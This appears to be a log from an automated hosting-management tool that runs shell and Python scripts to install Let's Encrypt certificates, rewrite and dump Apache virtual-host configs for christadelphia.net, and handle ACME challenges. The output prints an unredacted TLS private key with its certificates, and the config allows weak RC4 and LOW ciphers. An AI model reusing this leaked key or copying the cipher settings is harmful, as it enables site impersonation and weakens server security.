sOVjfJXLQG3TLse6nejhFmp068+P9jyxS9N1+9A8wXEHRuRR2DOybngHuXzXBX1a
MTMqkEyza3KTAVUb/uinKetp0ibeSxYg4Hg3+DtS/weYjHI2dxy80u7kCKYd0NN3
Bs6mjy2SBjUCgYEAhOLEgZso3CccFX0k42AR86eJyiBfKnK/14TIppu5tmk8LtOF
hzHzp9gy9Cr/5bSjBINaHGU3hwFg0qAk9QWH36luRIbmNtf8i2MoDiPKyQb2FyDa
qx9eo1jEjkmJk/x7asgTANMNs9EjAgJhhL4iToP1i3aWcaZJAjBKXgBbLPECgYAP
SxslFCQPT1PY+0f/oID05u5h35mSqz34pg8+qf710MvFKXkQ+dP1US9MbThLwpLM
Obpv2sBI35jlfCxUJoZBeji4bqEeQbv1yDWltwubq8Q+sErbOq/guycQtXS2bU3a
xtab1f+TzgKsNNeYYxOutA3o7GDH7VDN6FVk3FPriQKBgFONb++5KuxplyX5o61C
0dtyYKHGFTdc4gx+NXwqYQtFrUo2QSfVJVp7mChfJvNL8lJc44zukqt6E3FbV2vo
p3eVLFuub93VsnuVJgwx7dZAn9QdMRUc8Ks2WiYQUnEh5LVeTkA85i5Qr93ncL4F
PWRVsWnbb2K+pCk+q1QSdpSI
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-11 06:00:46:
chmod 755 /tmp/pkp784197; /tmp/pkp784197; rm /tmp/pkp784197
2025-12-11 06:00:46:
dir=/etc/ssl/certs
2025-12-11 06:00:46:
PUT: /tmp/pkp160574
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/christadelphia_www_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-11 06:00:46:
chmod 755 /tmp/pkp160574; /tmp/pkp160574; rm /tmp/pkp160574
2025-12-11 06:00:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf 46
<VirtualHost *:80>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-11 06:00:46:
PUT: /tmp/pkp267942
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphia_www_net.conf
TARGET=/etc/apache2/sites-enabled/christadelphia_www_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/christadelphia_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/christadelphia_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf= 1'
fi
2025-12-11 06:00:46:
chmod 755 /tmp/pkp267942; /tmp/pkp267942; rm /tmp/pkp267942
2025-12-11 06:00:46:
2025-12-11 06:00:46:
PUT: /tmp/pkp545201
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-11 06:00:46:
chmod 755 /tmp/pkp545201; /tmp/pkp545201; rm /tmp/pkp545201
2025-12-11 06:00:47:
.
2025-12-11 06:00:47: Establishing a connection
2025-12-11 06:00:47:
PUT: /tmp/pkp695418
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-11 06:00:48:
chmod 755 /tmp/pkp695418; /tmp/pkp695418; rm /tmp/pkp695418
2025-12-11 06:00:48:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
alias www.aletheiacollege.net
port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
alias www.christadelphia.net
port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
alias www.gospelstudies.net
port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
alias www.heaster.org
port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
alias www.hristadelfiane.org
port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
alias www.osnovybiblii.info
port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
alias www.realdevil.info
*:443 is a NameVirtualHost
default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
alias www.aletheiacollege.net
port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
alias www.christadelphia.net
port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
alias www.gospelstudies.net
port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
alias www.heaster.org
port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
alias www.hristadelfiane.org
port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
alias www.osnovybiblii.info
port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-12-11 06:00:48:
PUT: /tmp/pkp276115
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/christadelphia_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-11 06:00:48:
chmod 755 /tmp/pkp276115; /tmp/pkp276115; rm /tmp/pkp276115
2025-12-11 06:00:48:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf 1431
<VirtualHost *:80>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphia.net
ServerAlias www.christadelphia.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
DocumentRoot /var/www/christadelphia_www
<Directory /var/www/christadelphia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphia/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphia/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-11 06:00:48:
PUT: /tmp/pkp541848
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-11 06:00:48:
chmod 755 /tmp/pkp541848; /tmp/pkp541848; rm /tmp/pkp541848
2025-12-11 06:00:48:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt 5401
a7:73:12:74:f7:6b:6c:38:7f:66:2c:be:19:63:09:96
-----BEGIN CERTIFICATE-----
MIIFHzCCBAegAwIBAgISBkzfrLcwbeJnTF3ravLJjGOeMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjExMDUwMjE1WhcNMjYwMzExMDUwMjE0WjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDhgOIqqXs4/U9MbHVmQF9lZOVN6nvLZXbpJXyt5aMPgDrs4g0hz+J13OVG
jpwknYTY3btEsQerG7RcHkLnUAzfr0ys5Zan52gSjlv2R0UGs1DXYgcjuMDzSCk7
XA1By+jh4ZwhS37z/r1XFf2m2JuMMfxDnYcGdFetyTr4O0vaKHNMEZuNZQg/ey6z
aqfUjUhty36rcZUmVQ9n/jJG8b5EyCn7I2pQPP1O0OHJDyiizqR0oab7nDjuvghz
zyKcGLJomHy6eWRpA++qW3uqCoolK4LHvwbU9nRnsqcYkRKRqL4zhD/FqQMHAA4D
UYtXECdkrTDeCDiq/ckDPZWXW3FDAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFJMvi2AqlmrswK3gtJZFV+hMtqtrMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY2hyaXN0YWRlbHBoaWEu
bmV0ghZ3d3cuY2hyaXN0YWRlbHBoaWEubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzEuY3Js
MIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGbC/9keQAABAMARjBEAiBF+UXvk45jtaby5iBqyLnJ2Gx5
C3W7wzG3Ijqr262HLgIgGYtm+wwBoy4fdKGLdelvAlFOLyDDLcRweT6nMycWkNYA
fgBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZsL/2TEAAgAAAUA
A9zNsAQDAEcwRQIhAJBgfZxVzVJTIQx5GWIgc6eZ9gpcokQwr/b8Hu7vr06xAiBf
FbwQSDFN4MoqE8sSstPXYnV1e3LJUPh+cH2yZqwKFDANBgkqhkiG9w0BAQsFAAOC
AQEAOCEzsxfLoiM8t1U1d8lf7rvi0yEULqq/TMomSuf62YPeVGY642OYq+5SmXQw
7FlOo4kDBWP+c8xHyKouB6Q5RbNilE17kEg6epHKfRiF56Ymj/K66mBAkQDXdkY9
/Uj0BHFsBD23zDb+G+OI+SX8Pg2TxfGtNea/KEfjHjFtvv/nQdIGrmb8CIXMW6bq
MWlrx+5HbPZrSiyL7/Eeufg1wsNo998Z3boIoXXwUjDa1vJU0Lw1v+2e79wTWXrv
vqWt9HZ9mfq5gYuGCon3cGMSFFhCyMpq0Z7PVO5wMljbJA+wiU4vpXplxHf0k3NA
6uDE5q+26dHs9gqslji995zcBA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhgOIqqXs4/U9M
bHVmQF9lZOVN6nvLZXbpJXyt5aMPgDrs4g0hz+J13OVGjpwknYTY3btEsQerG7Rc
HkLnUAzfr0ys5Zan52gSjlv2R0UGs1DXYgcjuMDzSCk7XA1By+jh4ZwhS37z/r1X
Ff2m2JuMMfxDnYcGdFetyTr4O0vaKHNMEZuNZQg/ey6zaqfUjUhty36rcZUmVQ9n
/jJG8b5EyCn7I2pQPP1O0OHJDyiizqR0oab7nDjuvghzzyKcGLJomHy6eWRpA++q
W3uqCoolK4LHvwbU9nRnsqcYkRKRqL4zhD/FqQMHAA4DUYtXECdkrTDeCDiq/ckD
PZWXW3FDAgMBAAECggEBAL/8bpFLwbD/WKgEHt9zJsS4ZdE0NTkxpU9RrxiOTYlA
7uoGeo+y4WbfLgQoHh++TAAmpu0Qmyq+Z4uV5/fvW0aFhI4e2WkRxrUlpn3Cp63Q
tJ7qwpFTFlMJuLDk6hR+ekL1RWvDTs6ErsaZ3l5SQ/vUAqW+U9rW6l7219HHCgks
lbV8gzGQ+fNPcA95bNnwyixatKTNJuyf2Xi6Nq83xCvhnuYBc6kS88+joIkDQmQj
u2q5d/Y5pj91KmHmnNaM3Cxg4lFJqN1ALO9yMuy52pigmGFc2klDu0ffs2wtgdiV
t0HWMwMd+6QGIIBxhHg+dA6Cd35FkBUUoHijRWzUEmECgYEA+WWW0SM1A1e9Wb2v
p9RJkoO0lycRu4NFktSo/aCj4Q4nPHbafCebyH0ACDIdkF3muyKIphZQrCO3MChJ
0UaH/COGlT0/u/Rpl3yJIRsaMUcERG9T5XJ+lUFzabqeNw57VQHNRpktvMfOaBTn
mIqyRDH/hs3eoX5ZFx3xrWJrqJcCgYEA53lYVvxm1ytYlWjw6xmxkY1/KSXsgWhy
sOVjfJXLQG3TLse6nejhFmp068+P9jyxS9N1+9A8wXEHRuRR2DOybngHuXzXBX1a
MTMqkEyza3KTAVUb/uinKetp0ibeSxYg4Hg3+DtS/weYjHI2dxy80u7kCKYd0NN3
Bs6mjy2SBjUCgYEAhOLEgZso3CccFX0k42AR86eJyiBfKnK/14TIppu5tmk8LtOF
hzHzp9gy9Cr/5bSjBINaHGU3hwFg0qAk9QWH36luRIbmNtf8i2MoDiPKyQb2FyDa
qx9eo1jEjkmJk/x7asgTANMNs9EjAgJhhL4iToP1i3aWcaZJAjBKXgBbLPECgYAP
SxslFCQPT1PY+0f/oID05u5h35mSqz34pg8+qf710MvFKXkQ+dP1US9MbThLwpLM
Obpv2sBI35jlfCxUJoZBeji4bqEeQbv1yDWltwubq8Q+sErbOq/guycQtXS2bU3a
xtab1f+TzgKsNNeYYxOutA3o7GDH7VDN6FVk3FPriQKBgFONb++5KuxplyX5o61C
0dtyYKHGFTdc4gx+NXwqYQtFrUo2QSfVJVp7mChfJvNL8lJc44zukqt6E3FbV2vo
p3eVLFuub93VsnuVJgwx7dZAn9QdMRUc8Ks2WiYQUnEh5LVeTkA85i5Qr93ncL4F
PWRVsWnbb2K+pCk+q1QSdpSI
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-11 06:00:48: Establishing a connection
2025-12-11 06:00:49: Establishing a connection
2025-12-11 06:00:50:
PUT: /tmp/pkp780367
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-11 06:00:51:
chmod 755 /tmp/pkp780367; /tmp/pkp780367; rm /tmp/pkp780367
2025-12-11 06:00:51:
0
2025-12-12 06:00:01: Establishing a connection
2025-12-12 06:00:03: Establishing a connection
2025-12-12 06:00:04:
PUT: /tmp/pkp978974
#!/bin/bash
if [ -d "/var/www/hostz_stoughton/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-12 06:00:05:
chmod 755 /tmp/pkp978974; /tmp/pkp978974; rm /tmp/pkp978974
2025-12-12 06:00:05:
1
2025-12-12 06:00:06: Establishing a connection
2025-12-12 06:00:07:
PUT: /tmp/pkp392076
#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cat > LMvaaW3OVk_Ttl4H1PHAHrlVeb24VYrsjDL7GpuYztE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LMvaaW3OVk_Ttl4H1PHAHrlVeb24VYrsjDL7GpuYztE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LMvaaW3OVk_Ttl4H1PHAHrlVeb24VYrsjDL7GpuYztE
2025-12-12 06:00:08:
chmod 755 /tmp/pkp392076; /tmp/pkp392076; rm /tmp/pkp392076
2025-12-12 06:00:08:
2025-12-12 06:00:14: Establishing a connection
2025-12-12 06:00:15:
PUT: /tmp/pkp664910
#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
rm LMvaaW3OVk_Ttl4H1PHAHrlVeb24VYrsjDL7GpuYztE
2025-12-12 06:00:16:
chmod 755 /tmp/pkp664910; /tmp/pkp664910; rm /tmp/pkp664910
2025-12-12 06:00:16:
2025-12-12 06:00:16: Establishing a connection
2025-12-12 06:00:17:
PUT: /tmp/pkp123949
#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d
cat > $temp_file <<'endmsg'
50:49:fa:c2:16:b0:59:ca:05:77:e1:e1:45:b9:61:97
-----BEGIN CERTIFICATE-----
